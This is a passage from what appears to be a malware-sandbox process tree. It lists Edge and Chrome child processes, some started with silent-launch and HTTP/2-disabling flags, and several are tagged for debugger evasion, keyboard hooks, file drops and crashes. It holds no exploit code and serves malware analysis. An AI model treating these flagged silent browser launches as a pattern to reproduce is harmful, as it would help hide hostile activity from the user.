                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4820
                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6840 /prefetch:1
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:756
                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,7807749558015426156,13023123569977082734,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1776 /prefetch:2
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5528
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                            PID:5544
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x174,0x178,0x17c,0x150,0x180,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5644
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1808,4462454611946312072,1044863655131117494,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1816 /prefetch:2
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                PID:4844
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1808,4462454611946312072,1044863655131117494,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1864 /prefetch:8
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5132
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1808,4462454611946312072,1044863655131117494,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=1992 /prefetch:8
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:2232
                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 5544 -s 3756
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                    PID:4928
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                  PID:5712
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x190,0x194,0x198,0x170,0x19c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5456
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1824 /prefetch:2
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                      PID:5572
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1872 /prefetch:8
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                      PID:2132
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2432 /prefetch:8
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:4224
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3540 /prefetch:8
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5636
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3908 /prefetch:8
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                          PID:6284
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=3924 /prefetch:8
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                          PID:6328
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4128 /prefetch:8
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:6380
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4076 /prefetch:8
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                            PID:6420
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=4384 /prefetch:8
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:6428
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1808,1321882583762873393,1161042820512665028,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4428 /prefetch:8
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                              PID:6612
                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -u -p 5712 -s 4752
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                              PID:6680
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                            PID:7048
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x190,0x194,0x198,0x18c,0x19c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:7076
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1700,12982750020614179772,13814190298716062660,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1708 /prefetch:2
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                PID:5636
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1700,12982750020614179772,13814190298716062660,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1856 /prefetch:8
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:6192
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1700,12982750020614179772,13814190298716062660,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2424 /prefetch:8
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                  PID:2800
                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -u -p 7048 -s 3692
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:5700
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:6820
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:6844
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1792,3630735773827052142,13496279592803829413,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1804 /prefetch:8
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4180
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                      PID:5604
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:6720
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1856,17806146315785125281,5534965297242031446,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1896 /prefetch:2
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:4924
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1856,17806146315785125281,5534965297242031446,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1968 /prefetch:8
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                            PID:5424
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1856,17806146315785125281,5534965297242031446,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2236 /prefetch:8
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                            PID:5032
                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 5604 -s 3728
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:5708
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                          PID:7072
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:2888
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1924 /prefetch:2
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1100
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1972 /prefetch:8
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:7052
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2464 /prefetch:8
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                  PID:5000
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3812 /prefetch:8
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                  PID:6532
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3952 /prefetch:8
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                  PID:3504
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=4168 /prefetch:8
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:5788
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4192 /prefetch:8
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1884
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4188 /prefetch:8
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:6228
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3988 /prefetch:8
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                                                        PID:1644
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,16981176395840874464,11941817161301945322,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=2984 /prefetch:8
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:6220
                                                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -u -p 7072 -s 4712
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                          PID:5596
                                                                                                                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:4776
                                                                                                                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:3840
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1272 -ip 1272
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:1452
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2664 -ip 2664
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:1252
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2664 -ip 2664
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:912
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
